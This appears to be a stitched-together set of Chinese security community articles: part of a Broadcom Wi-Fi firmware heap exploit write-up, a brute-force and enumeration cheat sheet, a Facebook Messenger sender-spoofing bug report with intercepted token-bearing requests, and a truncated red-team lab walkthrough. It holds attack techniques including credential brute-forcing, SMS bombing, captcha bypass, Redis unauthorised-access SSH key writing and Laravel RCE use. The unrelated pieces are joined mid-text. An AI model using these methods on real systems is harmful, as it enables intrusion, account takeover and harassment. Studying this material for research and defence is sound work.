它将补丁的代码写入RAM中的一个未使用的区域（堆中最大的空闲块的头），然后从挂钩函数的序言将Thumb-2宽分支插入挂钩本身。
图24
使用我们的新修补程序，我们现在可以调用malloc和free函数，以添加踪迹，使我们能够跟踪堆上发生的每个操作。然后可以通过发出dhdutil的“consoledump”命令，从固件的控制台缓冲区中读取这些跟踪。请注意，在一些较新的芯片上，此命令无效。这是因为Broadcom忘记给指向控制台的数据结构的固件中的magic指针添加偏移量。您可以通过向驱动程序添加正确的偏移量或将magic值和指针写入列表中的探测内存地址之一来解决此问题。
无论如何，您可以在此处找到malloc和free 挂钩以及从固件中解析踪迹所需的相关脚本。
使用新获取的踪迹，我们可以编写一个更好的可视化程序，使我们能够在整个建立和断开阶段跟踪堆的状态。该可视化程序可以看到堆上发生的每个操作，从而可提供更细粒度的数据。我写了这样一个可视化程序（请见：<https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c6> ）。
我们来看看建立TDLS连接时的堆活动：
图25
纵轴表示时间——每行都是malloc或free操作后新的堆状态。横轴表示空间——较低地址在左，较高地址在右。红色块表示正在使用的块，灰色块表示空闲块。
从上面可以清楚看到，建立TDLS连接是一个凌乱的过程。对于大小区域均有很多的分配和释放。这么多的噪音对我们来说并不利。回想一下，在建立阶段的溢出是高度受限制的，无论是在写入数据方面，还是在溢出数据的范围方面。此外，溢出发生在建立阶段许多分配之一过程中。这不允许我们在触发溢出之前对堆的状态进行很多的控制。
然而，退一步，我们可以观察到一个相当令人惊讶的事实。除了在TDLS连接建立期间的堆活动，似乎在堆上几乎没有任何活动。事实上，结果表明发送和接收的帧是从共享池而不是堆中提取的。不仅如此，其处理不会导致堆操作——一切都是“就地”完成。即使尝试通过发送包含异常位组合的随机帧来有意地导致分配，固件的堆仍然在很大程度上不受影响。
这有利也有弊。一方面，这意味着堆的结构是高度一致的。在鲜有的数据结构分配事件中，其随后被立即释放——使堆回到了原始状态。另一方面，这意味着我们对堆结构的控制程度相当有限。在大多数情况下，在固件初始化之后，无论堆有什么样的结构，我们都要应付。
也许我们应该看看断开阶段？实际上，在TDLS断开阶段激活踪迹表明，在触发溢出之前非常少，所以其看起来像是一个更方便的探索环境。
图26
虽然这些深入的踪迹对于获取堆状态的高级视图很有用，但是它们很难被破译。事实上，在大多数情况下，只需要对堆的单个快照进行可视化即可，就像我们之前使用graphviz可视化程序所作的一样。在这种情况下，让我们通过允许堆可视化程序根据堆的单个快照生成详细的图形输出来改进我们以前的堆可视化程序。
正如我们之前看到的，我们可以“遍历”空闲列表来提取每个空闲块的位置和大小。此外，我们可以通过遍历空闲块之间的间隙及从每个使用中的块读取“大小”字段来推断使用中的块的位置。我写了另一个完成此工作的可视化程序（请见https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c6）——从一系列“快照”镜像生成堆状态的可视化。
现在可以使用该可视化程序查看建立TDLS连接后堆的状态。这将是我们在断开阶段触发溢出时需要处理的堆的状态。
（上层：初始堆状态，下层：建立TDLS连接后的堆状态）
图27
我们可以看到，在建立TDLS连接之后，大多数堆的使用的块是连续的，但是也形成了两个孔，其中一个大小为0x11C，另一个大小为0x124。激活断开阶段的踪迹后可以看到发生了以下分配：
图28
突出显示的行表示为断开帧的MIC计算分配的256字节缓冲区，我们可以使用我们的漏洞造成同等大小的溢出。此外，在发送溢出帧之前，似乎堆活动相当低。将上面的堆快照与踪迹文件相结合，我们可以推断出256字节缓冲区最适合的块位于0x11C字节的孔中。这意味着使用我们的25字节溢出，我们可以覆写：
1\. 下一个使用中的块的header
2\. 下一个使用中的块的内容的几个字节
我们来仔细看看下一个使用中的块，看看是否有什么有趣的信息可以覆写：
图29
下一个块几乎为空（除靠近其head的几个指针外）。这些指针对我们是否有用？也许其是写入对象？或是后期释放？我们可以通过手动破坏这些指针（将它们指向无效的存储器地址，例如0xCDCDCDCD）以及检测固件的异常向量（以查看其是否崩溃）来找到答案。不幸的是，经过许多这样的尝试，发现似乎这些指针实际上均未被使用。
这使我们只剩下一个可能性——破坏使用中的块的“大小”字段。回想一下，一旦TDLS连接断开，与之相关的数据结构将被释放。释放大小我们已经损坏的使用中的块会产生许多有趣的后果。如果我们减小块的大小，我们可以有意地“泄漏”缓冲区的尾端，使其永远保持不可分配。不过，更有趣的是，我们可以将块的大小设置为更大的值，从而导致下一个释放操作创建一个尾端与另一个堆块重叠的空闲块。
图30
一旦一个空闲块与另一个堆块重叠，则随后的分配（重叠的自由块是最适合的块）将从空闲块的末端切取，从而可破坏其尾部的任何字段。但是，在开始构思之前，我们需要确认在断开操作完成后我们可以创建这样的状态（即重叠的块）。
**创建一个重叠的块**
回想一下，MIC检查只是TDLS连接断开时发生的许多操作之一。可能通过覆写下一个块的大小就这样发生了，一旦在收集TDLS会话的数据结构期间被释放，其可能成为断开过程中后续分配的最适合的块。这些分配可能会导致额外的无意损坏，这会使堆处于不一致的状态，甚至会使固件崩溃。
然而，可能大小的搜索空间没那么大——假设我们只对不大于RAM本身的块大小感兴趣（原因显而易见），我们就可以枚举通过用给定值覆写下一个块的“大小”字段并断开连接而产生的每一个堆状态。这可以通过在发送（执行枚举）上使用脚本来自动执行，并同时获取设备上RAM的“快照”，及观察其状态（无论其是否一致，以及断开后固件是否能恢复操作）。
具体来说，如果我们能创建一个两个空闲块彼此重叠的堆状态，这将是非常有利的。在这种情况下，从一个块获取的分配可以用于损坏另一个空闲块的“下一个”指针。这也许可以用来控制后续分配的位置。
无论如何，在查看几个块大小、断开TDLS连接并观察堆状态后，我们遇到了相当有趣的结果状态！通过用值72覆写“大小”字段并断开连接，我们实现了以下堆状态：
图31
太棒了！所以在断开连接之后，会留下一个零大小的空闲块，重叠一个不同的（较大的）空闲块！这意味着一旦从大块切取了一个分配，其将损坏较小块的“大小”和“下一个”字段。这可能是非常有用的——我们可以尝试将下一个空闲块指向我们希望修改其内容的内存地址。只要该地址中的数据符合一个空闲块的格式，我们就可以说服堆通过随后的分配覆盖该地址的内存。
**寻找受控分配**
为了开始探索这些可能性，我们首先需要创建一个受控的分配原语，这意味着我们要么控制分配的大小，要么是内容，要么是（理想的）两者。回想一下，正如我们之前看到的，在固件的正常处理过程中实际上很难触发分配——几乎所有的处理都是就地完成。此外，即使是分配数据的情况，其寿命也很短，内存不再使用是会立即被收回。
即使如此，就这样，我们已经看到至少有一组数据结构——其生命周期是可控的，并且包含多个不同的信息片段 –
TDLS连接本身。固件必须保留与TDLS连接（只要其活跃）相关的所有信息。也许我们可以找到一些与TDLS相关的、可以作为受控分配的良好候选者的数据结构？
要搜索一个，我们先看看处理每个TDLS动作帧的函数——wlc_tdls_rcv_action_frame。该函数从读取TDLS类别和动作代码开始。然后，其根据接收到的动作代码将帧路由到适当的处理函数。
图32
我们可以看到，除了常规的规范定义的动作代码之外，固件还支持超出规范的动作代码为127的帧。任何超出规范的东西都是可疑的，所以这可能是寻找我们的原语的好地方。
事实上，深入研究该函数后发现，其执行一个相当有意思的任务。它验证帧内容中的前3个字节是否与Wi-Fi联盟OUI
(50:6F:9A)匹配。然后，其检索帧的第四个字节，并将其用作“命令代码”。目前，仅实现了两个供应商特定的命令，命令＃4和＃5。命令＃4用于通过TDLS连接发送隧道式探测请求，命令＃5用于向主机发送“事件”通知（指示“特殊”帧已到达）。
然而，更有趣的是，我们看到#4命令的实现与我们目前的追求相似。首先，它不需要存在TDLS连接就可被处理。这样我们在断开连接后也可以发送帧。其次，通过在此函数执行期间激活堆踪迹并对其逻辑进行逆向工程，我们发现该函数触发了下列高级事件序列：
图33
太棒了，我们获得了一个受控生命周期、大小及内容的分配(A)。
但是，有一个小小的障碍。修改wpa_supplicant发送此专门设计的TDLS帧会导致完全的失败。虽然wpa_supplicant允许我们完全控制TDLS帧中的许多字段，但它只是一个请求者，而不是MLME实现。这意味着相应的MLME层负责编写和发送实际的TDLS帧。
在我为攻击平台使用的设置上，我有一台运行Ubuntu 16.04的笔记本电脑，和一个TP-Link TL-WN722N适配器。适配器是SoftMAC配置，所以起作用的MLME层是Linux内核中存在的层，即“cfg80211”配置层。
当wpa_supplicant希望创建和发送TDLS帧时，其通过Netlink发送特殊请求，然后由cfg80211框架处理，然后传递给SoftMAC层“mac80211”。然而，令人遗憾的是，mac80211无法处理特殊的供应商框架，因此予以拒绝。尽管如此，这只是一个小小的不便——我给mac80211编写了一些补丁（见https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c2），增加了对这些特殊供应商框架的支持。应用这些补丁后，重新编译和引导内核，我们现在可以发送我们专门设计的帧了。
为了更容易地控制供应商框架，我还在wpa_supplicant的CLI –
“TDLS_VNDR”中添加了对新命令的支持。该命令可以让我们将带任意数据的TDLS供应商帧发送到任何MAC地址。
**合二为一**
在创建两个重叠块之后，我们现在可以使用我们的受控分配原语从较大块的尾部分配内存，从而将较小的空闲块指向我们选择的位置。但是，无论我们选择哪个位置，“大小”和“下一个”字段都必须有有效的值，否则稍后对malloc和free的调用可能失败，这可能会导致固件崩溃。事实上，我们已经看到了完美的候选者来代替空闲块——使用中的块。
回想一下，使用中的块在与空闲块相同的位置指定其大小字段。对于“下一个”指针，其在空闲块中未使用，但在块分配期间被设置为零。这意味着通过破坏空闲列表来指向使用中的块，我们可以诱使堆认为其只是另一个空闲块，其碰巧也是空闲列表中的最后一个块。
图35
现在我们需要做的是找到一个包含我们要覆写的信息的使用中的块。如果我们使该块称为随后的受控分配的空闲列表中的最适合块，我们将使自己的数据分配到该处，而不是使用中的块的数据，这便有效地替代了块的内容。这意味着我们可以任意替换任何使用中的块的内容。
由于我们希望实现完全的代码执行，所以定位和覆写堆中的函数指针是有利的。但是，我们可以在堆上何处找到这样的值？Wi-Fi标准中有一些必须定期处理的事件。假设固件支持使用通用API来处理这样的定期定时器是有把握的。
由于定时器可能在固件操作期间创建，因此其数据结构必须存储在堆上。为了定位这些定时器，我们可以对IRQ向量表项进行逆向工程，并搜索与处理定时器中断相对应的逻辑。在这样做之后，我们找到一个内容似乎与brcmsmac
(SoftMAC)
驱动程序中使用brcms_timer结构相符的条目的链接列表。编写一个简短的脚本（见https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c7）后，我们可以在给出RAM快照的情况下转储定时器列表：
图36
可以看到，定时器列表是按超时值排序的，大多数定时器的超时时间相对较短。此外，所有定时器在固件的初始化期间被分配，因此存储在恒定地址处。这很重要，因为如果我们想以定时器定位我们的空闲块，我们就需要知道其在内存中的确切位置。
所以剩下的就是使用我们的两个原语用我们自己的数据来替换上面的其中一个定时器的内容，从而将定时器的函数指向我们选择的地址。
我们的计划是：首先，我们将使用上述技术创建两个重叠的空闲块。现在，我们可以使用受控分配原语将较小的空闲块指向上面列表中的其中一个定时器。接下来，我们创建另一个受控分配（释放旧的分配）。这个大小为0x3C，这对定时器块是最适合的。因此，在这一点上，我们将覆写定时器的内容。
图37
但是我们将定时器指向了哪个函数？那么，我们可以使用同样的技巧来征用堆上的另一个使用中的块，并用我们自己的shellcode覆写其内容。在简单搜索堆之后，我们遇到了一个在芯片引导序列期间只包含控制台数据，然后被分配但未被使用的大块。不仅分配相当大（0x400字节），而且其也被放置在一个恒定的地址——对我们的利用代码是绝佳的。
最后，我们如何确定堆的内容可执行？毕竟，ARM Cortex
R4有一个内存保护单元（MPU）。与MMU不同，其不允许虚拟地址空间的便利化，但其允许对RAM中不同内存范围的访问权限的控制。使用MPU，堆可以（应该）被标记为RW和不可执行。
通过逆向二进制文件中固件的初始化例程，我们可以看到MPU实际上是在引导过程中被激活。但其使用什么内容配置？我们可以通过编写一个小程序存根来转储出MPU的内容：
图38
当MPU被初始化时，其被有效地设置为将所有内存标记为RWX，这使其无用。这省去了我们的一些麻烦，我们可以方便地从堆中直接执行我们的代码。
最终，我们准备好了利用代码。把它们放在一起后，我们现在可以劫持一个代码块来存储我们的shellcode，然后劫持一个定时器来指向我们存储的shellcode。一旦定时器到期，我们的代码将在固件上执行！
图39
最终，我们经历了研究平台的整个过程，发现了一个漏洞并编写了一个完整的利用代码。虽然本文相对较长，但我还是省略了很多较小的细节。完整的利用代码（包括说明）请见：<https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c2> 。
**总结**
我们已经看到，虽然Wi-Fi
SoC上的固件实现非常复杂，但在安全性方面仍然滞后。具体来说，其缺乏所有基本的漏洞利用缓解措施——包括栈cookie、安全断开链接及访问权限保护（通过MPU）。
**传送门**
* * *
[**【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（二）**](http://bobao.360.cn/learning/detail/3792.html) | 社区文章 |
原文首发[猎户安全实验室公众号](https://mp.weixin.qq.com/s/_zzHPAeWvSp4ckDz0_PltQ)
为啥叫“何足道版”，当然跟足道足疗没啥关系不能仁者见仁哈。
当时主要想表达区区小事何足挂齿之意（含抛砖引玉之意），何足道哉。当然据研究金庸武侠，何足道乃倚天前期人物！昆仑派前辈，外号“昆仑三圣”，以琴、棋、剑三圣著名。只身前往上少林寺，颇有书呆子味道，以道义感传信误被认为挑事（普通话不标准的误会），以觉远大师和少年张三丰破解而结束中原之旅！然后……然后就有了《倚天屠龙记》！
2333
## 0x00 @序
攻防之初，大多为绕过既有逻辑和认证，以Getshell为节点，不管是SQL注入获得管理员数据还是XSS
获得后台cookie，大多数是为了后台的登录权限，假若我们获得一枚口令，都是柳暗花明。不管口令复杂与否，只要在构造的字典内都是爆破之结晶。
Web形态及业务之错综，我们暂可将能够自定义字典的请求归类到爆破，以便信息的提炼和知识的逻辑推理。
本文主要收集了常用的一些爆破相关的零碎点和技巧点。
## 0x01 账户探测
1. 探测存在与否
2. 第一梯队：Top500用户名、手机号
3. 第二梯队：邮箱、员工编号
## 0x02 指定口令爆破用户名
1. 指定类123456口令爆破用户名
2. 正常的top500，top10000帐号；
3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号；
a)小工具pydictor值得推荐
python pydictor.py -base L --len 2 3
b) Burp也可以
4. 一位数字、二位数字、三位数字、四位数字的随机组合
for n in xrange(10000):
print str(n).zfill(4)
5. 厂商名相关帐号
a) 如：facebook、fb_steven …
b) 页面联系邮箱的规则学习及自创建
## 0x03 密码爆破
1. top500, top3000,top10000，自定义密码
a) Top 系列，几乎安全从业都有自己的弱口令字典，常规就好，太大的字典跑起来也费劲，关键是定制
b) 定制字典，pydictor值得推荐：<https://github.com/LandGrey/pydictor>
c) 社工库的使用，指定用户的历史密码，是一种尝试
2. 厂商特色口令生成，如baidu@123
a) 适用于应用管理员类人员以及主机协议类密码
b) 更多定制类字典也可以pydicor
c) <http://www.cnblogs.com/shellr00t/p/5316401.html>
d) 加密密码暴力破解
e) 普通编码类，如base64
f) 自定义加密算法（目标系统使用了可猜测的加密算法去加密口令）
可参考浮萍写的基于RSA算法加密口令后爆破脚本：
<https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py>
g) Selenium 自动浏览器提交模块（可适用与不明加密算法，模拟正常操作流）
*详细代码过程参考我博客：
<http://sm0nk.com/2017/11/27/%E5%9F%BA%E4%BA%8ESeleinum%E7%9A%84%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4%E5%BA%94%E7%94%A8/>
1. 弱文件后的后台爆破
a) 弱文件爆破获得后台
b) 后台密码爆破
i. 各大中间件及CMS的口令破解，如weblogic 、tomcat
ii. 自定义后台的密码破解
2. Webshell 密码爆破
a) Shell 发现（弱文件以及蛛丝马迹）
b) Shell 爆破（有专用工具，也可用burp完成）
3. 辅助信息
a) Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则
b) 技术运维人员的桌子上面的便签信息（若能接触到目标内部）…
## 0x04 登录验证码爆破
1. 验证码绕过
a) 验证码非必须参数，可省略
b) 验证码不失效，可多次使用
c) 验证码问题集合答案有限，可以遍历后破解
d) 非空逻辑校验，验证码置空 或 去掉校验参数的请求
e.g. ecshop后台暴力破解验证码绕过
2. 简单验证码识别
<https://github.com/fupinglee/CrackCaptcahLogin/releases>
类似工具很多，看使用习惯。
3. 高模糊度验证码识别
a) 一般的识别流程都是二值化、去干扰、区域选择、OCR识别
b) 可用云打码平台 （不打广告）
## 0x05 短信/邮箱验证码爆破
1. 部分登录验证码的分类也可适用于此
2. 验证码的本身绕过
a) 返回包回显（包括返回包、输出在cookie等）
b) JS控制
c) 返回包控制：True&false控制（0&1），修改返回包可绕过
3. 4位数字，验证码爆破，很快
4. 6位数字，验证码爆破；可根据多线程的前提进行多进程处理，0-199999一波；200000-399999一波…（依次类推）；也可以看频率，哪块区间分布的概率较高可重点关注；也可以指定前一位或两位进行爆破。
5. 弱token
a) 例：奇虎360任意用户密码修改漏洞，发送给邮箱的验证链接里面的vc值为时间戳的md5加密；作为一种检验参数可被猜测。
b) 基于密码找回的手机号、UID、邮箱等遍历，结合客户端源码可能的些蛛丝马迹
c) 不完全属于爆破逻辑，但可互补增值，参考
<http://bobao.360.cn/learning/detail/287.html>
## 0x06 数据信息爆破（遍历）
1. 关键参数的的信息遍历(select)
a) 包括用户名
b) ID号
c) 手机号
d) 邮箱
e) 身份证号
f) 订单号
g) 银行卡
h) 信用卡(e.g 携程乌云漏洞)
i.PAN+信用卡到期时间（即：最小的身份验证模块）；
ii.PAN+信用卡到期时间+CVV；
iii.PAN+信用卡到期时间+CVV+持卡人地址；
iv. From <http://t.cn/Rfrsdki>
2. 批量注册(insert)
a) 逻辑不严谨或校验不严格，实现多帐号的薅羊毛
3. 一套组合拳（也可关联到爬虫）：
a) 两个常见的功能：密码找回、网站论坛
b)
切入点一：从密码找回功能分析，有相当一部分网站，提供账号检测功能，且提示存在与否，根据友情提示以及次数限定情况，可以通过返回包匹配存在的帐号，包括用户名、甚至手机号（其实主要是手机号）。
c)
切入点二：密码找回功能，输入手机号后会提示…正在找回XXX的密码信息…，这个就是用户名，（若输入用户名，有可能提示正在找回某手机号的密码信息（部分打码））
d) 切入点三：网站论坛，为了交流，以及用户的活跃度，部分网站存在bbs、club等论坛信息，一般二次开发的Discuz 。
上面会存在关于个人的一些数据，比如用户名（论坛网名）、性别、粉丝情况、帖子情况、联系方式、住址（部分需要登录权限）、还有一些倾向数据，比如购物平台关注的商品；
e)
从这三个切入点来讲，单独哪个可能都影响不足够大，没有达到影响的最大化。从一个数据利用者角度分析，最希望得到与平台性质相关的属性，比如交友网站的性别和联系方式信息，房产网站的倾向房产和联系方式等属性。
那把三个切入点的数据整合起来能得到什么呢？
i.通过用户检测 获得手机号用户个人信息；
ii.通过手机号检测，获得用户名信息；
iii.通过论坛遍历，获得ID和用户名信息；
iv. 通过关联以上数据，可以对应手机号------>用户名 ------> 论坛ID，同样也就意味着获得了某手机号的用户关注了什么的信息。Demo 说明
用户：188xxxx8888 用户名：HelloWorld 关注：某别墅
用户：138xxxx9999 用户名：52BMW 关注：宝马X6
用户：159xxxx6666 用户名：HelloKitty 就职某金融企业
用户：186xxxx5555 用户名：独孤求败 购买了大疆无人机
针对Demo数据，从一个数据威胁角度来分析，那可以实现精准营销。带来的场景就是另一片天地。
## 0x07 爆破关联
1. 数据重放-短信炸弹
a)无任何限制的短信炸弹
b)单独手机号存在短信阈值限制，有可能通过间隔符绕过，18888888888,,,与18888888888效果一样；
c)针对单独手机号有阈值限制，但可随意轮询其他手机号，同样有危害
d)会导致短信网关的资源浪费和流失
2. 数据重放-邮箱炸弹
a)相对短信炸弹成本较低，但其逻辑同短信炸弹
3. 子域名爆破
a)根据自己平台和习惯选择即可：subDomainsBrute、Layer、FuzzDomain
4. 子目录、弱文件爆破
a)弱文件爆破，对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch
值得拥有（可自定义字典）
<https://github.com/maurosoria/dirsearch>
b)也可以自己写，就是基本的web请求，以及返回包的长度或特征匹配。
5. Fuzzing 测试
a)SQL、XSS
b)拒绝服务漏洞，例如SPIKE对表单测试特殊字符的异常处理
## 0x08 协议口令爆破
1. SSH RDP FTP MySQL MSSQL …
a)Fenghuangscan值得推荐，Hydra （Kali自带）值得拥有；
b)Nmap 也可完成部分破解工作，本身是一个基础工具，但script下的脚本能让你做出不基础的事情
c)毕竟直接拿到远控权限事半功倍，可直接获取数据，对于测试来讲还可获取源码，以半审计的方法进行挖掘。
d)且有人以此为生（全网抓鸡）
2. SMTP、VPN协议类
a) 第一点提到的一些协议，初具成熟均不公开于互联网（当然意识和测试情况也有），但SMTP 和 VPN 类，大部分都有，也是入侵的概率很大的入口点
i. brut3k1t（github有）
ii. 也有自定义的PY脚本
iii. 小技巧点：部分对同一用户有密码失败次数限制，可把循环颠倒过来，用同密码刷一遍用户，在用下一个口令刷一遍用户…
b)翻到邮箱，根据信息检索，信息很精准，很有可能获得认证信息
c)获得VPN认证，在内网搞事，一不小心就干掉了一个大家伙。
3. 特殊服务类未授权访问或者弱认证
a)Redis未授权访问
b)Jenkins未授权访问
c)MongoDB未授权访问
d)ZooKeeper未授权访问
e)Elasticsearch未授权访问
f)Memcache未授权访问
g)Hadoop未授权访问
h)CouchDB未授权访问
i)Docker未授权访问
j)毕竟这些未授权可以直接getshell或直接获得数据
_详细介绍利用及加固请参考<https://www.secpulse.com/archives/61101.html>_
## 0x09 攻击防御
1. 登录界面暴力破解，哪些加固方法？
a)阈值的设立
i.单位时间内超过额定请求次数，封帐号&封IP段时间
ii.支持逆向思路
b)密码输入错误次数达到3次后增设验证码
i.验证码自身的安全性参考下一个问题
c)自身应用系统的健壮性
i.强制要求用户注册时满足口令复杂度要求
ii.定期检索数据库弱口令帐号的存在，可比对top500的密文值
2. 图形验证码自身常见的加固方法？
1)字体扭曲
2)字体粘连
3)字体镂空
4)字体混用
5)主体干扰线
6)背景色干扰
7)背景字母干扰
8)公式验证码
9)加减法验证码
10)逻辑验证码
3. Modsecurity类防御暴力破解类？
a)若代码变更成本大，可以使用Modsecurity （当然直接买硬WAF也可以）
b)<https://www.trustwave.com/Resources/SpiderLabs-Blog/Defending-WordPress-Logins-from-Brute-Force-Attacks/（Freebuf有翻译）>
4. 针对验证码可多次重用的加固方法？
5. 主机类暴力破解的防御方法？
a)自身的帐号口令体系满足复杂度要求
b)若非必须的服务，直接禁止对外的开放，包括22、3389
c)限定指定IP访问（网络的访问控制）
d)不使用口令方式，使用私钥类登录
e)意识类：不在标签写密码；运维管理类也不直接统记录到一个txt | 社区文章 |
## Facebook 赏金$7,500的越权漏洞
原文链接：<https://bugreader.com/kbazzoun@sending-message-on-behalf-of-other-users-72>
附件给出了演示视频，可以更清晰的看出渗透测试人员的具体操作
### 描述
攻击者可以代表Facebook
Messenger上的其他用户发送媒体消息，通过在Facebook页面上设置受害者管理员/编辑/主持人，然后攻击者在向某人发送照片/视频/音频时拦截信息的请求，然后将授权标头令牌更改为“Page
Token”，将sender_fbid更改为受害者（管理员ID）
### 前提
这可能允许恶意用户通过在其页面上设置管理员（受害者）身份来代表其他用户发送消息
### 漏洞复现
#### 首先：
> 建立两个用户，
>
> “Kassem Bazzoun”是攻击者
>
> "Semi Colon” 是被攻击者
>
> “Kassem Bazzoun”在他的页面上使用受害者“Semi Colon”的身份发送内容
#### 拦截请求
攻击者可以在Facebook Messenger（使用Android/IOS）中发送图像/语音/视频时获取这些请求
只需关注`Authorization Header` 和参数 `sender_fbid/to`
**发送Photos拦截的数据包**
POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id
to: receiver_id
Accept-Encoding: gzip, deflate
**发送Video Request拦截的数据包**
POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id
to: receiver_id
X-FB-SIM-HNI: 41503
**发送Voice Message Request拦截的数据包**
/messenger_audio/a174a21348fb713ab40a796e63232fs0986529693648684848294 HTTP/1.1
X-Entity-Name: USER_SCOPED_TEMP_DATA_orca-audio-1556800271887.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/touch;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
duration: 9811
Authorization: OAuth EAADo1TDZCuu8BANUYHkTMK4SxtTRPbqtIgIuUShTWmsHujjEVIRELxlk5eiZCnA36hSgKl9gjjFJlmuMH3KYy6DlGOhojRZCDHjBZAyMEw0gLut6V4dEFaViofLKELJENiBBjW8SmMZCRho0A6Fq9ZBKXVIuf8nGPZAywnaqjunqwZDZD
X-FB-Net-HNI: 41503
attempt_id: 6529693648683742874
sender_fbid : victim_id
to: receiver_id
Kassem（攻击者）通过从先前的 **Authorization Header** 获取令牌并通过 **GRAPH API EXPLORER**
生成页面令牌，将请求的 **Authorization Header** 中的令牌更改为他的 **Page Token**
[developers.facebook.com](developers.facebook.com)
要获取页面访问令牌，请发送以下请求
ACCESS_TOKEN = Token for Facebook Messenger
GET/V3.2/page_id?fields=access_token
该请求应该返回
{ "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS....." "id": "page_id" }
因此，用新的替换 **Authorization Token**
**注意：你应该为你和受害者管理的页面生成“Page Token”** ]
在将 **Authorization Header** 转换为 **Page Token**
之后，我能够代表页面中的任何管理员发送媒体消息，其中服务器未检查此标记是否属于管理员:)如果用户具有验证此页面中的角色（token属于此页面），并且未检查谁生成此令牌！
所以让我们现在更改参数:)
**sender_fbid**
表示用户是向谁发送此消息的参数（SENDER ID）
将其更改为受害者ID（管理员ID）
**to**
指示谁收到此消息的参数（接收者ID）
最后发送请求！
#### 攻击
我把受害者帐户（Semi colon）的信息发给了自己！
此外，我可以将消息发送给任何其他用户，不仅仅是我自己！
**想象一下，有人会从您的帐户向其他用户发送消息！**
### 漏洞修复方案
Facebook通过阻止任何用户使用“页面访问令牌”代表任何管理员（包括您的帐户）发送邮件来修复此漏洞，因此页面访问令牌仅用于代表页面itselft发送邮件。新服务器回复：err_code“：”1545003“，”err_str“：”您无法执行该操作。“ | 社区文章 |
# 前言
这个靶场是红日的ATT&CK实战系列-红队评估（七）
链接如下：<http://vulnstack.qiyuanxuetang.net/vuln/detail/9/>
这个靶场兜兜转转弄了挺多次，大佬轻喷~~
攻击图如下：
由于环境问题，我将DMZ区的ubuntu设置为NAT模式
Web1 IP为192.168.213.188
Kali IP：192.168.213.170
**环境信息**
DMZ区的 Ubuntu 需要启动redis和nginx服务：
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器：
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 （PC 1）需要启动通达OA：
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下：
Administrator：Whoami2021
whoami：Whoami2021
bunny：Bunny2021
moretz：Moretz2021
Ubuntu 1：
web：web2021
Ubuntu 2：
ubuntu：ubuntu
通达OA账户：
admin：admin657260
# 外网渗透
## Laravel Debug mode RCE（CVE-2021-3129）
首先拿到一个IP地址：192.168.213.188
第一步当然是先进行端口扫描啦！
开放22，80，81，6379端口
访问80端口发现是一个博客网站，暂时没啥思路
访问81端口发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14)
恰好这个框架爆了一个远程代码执行漏洞，我这里直接使用工具进行Getshell
连接成功
工具链接：<https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP>
简单进行了信息收集，发现是一个docker环境，ip是172段
hostname
cat /etc/hosts
cat /proc/1/cgroup
尝试反弹shell到Kali上再进行提权
Kali进行监听，但是最后没有反应
尝试了MSF的tcp、http均不行，故判断为不出网
## Redis未授权
既然反弹不了shell，只能从其他地方进行入手了
之前进行端口扫描时发现该机器开着6379，尝试Redis弱口令或未授权访问
尝试进行连接Redis，连接成功，存在未授权访问
尝试写入SSH公钥
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥导入foo.txt文件
cat foo.txt | redis-cli -h 192.168.213.170 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
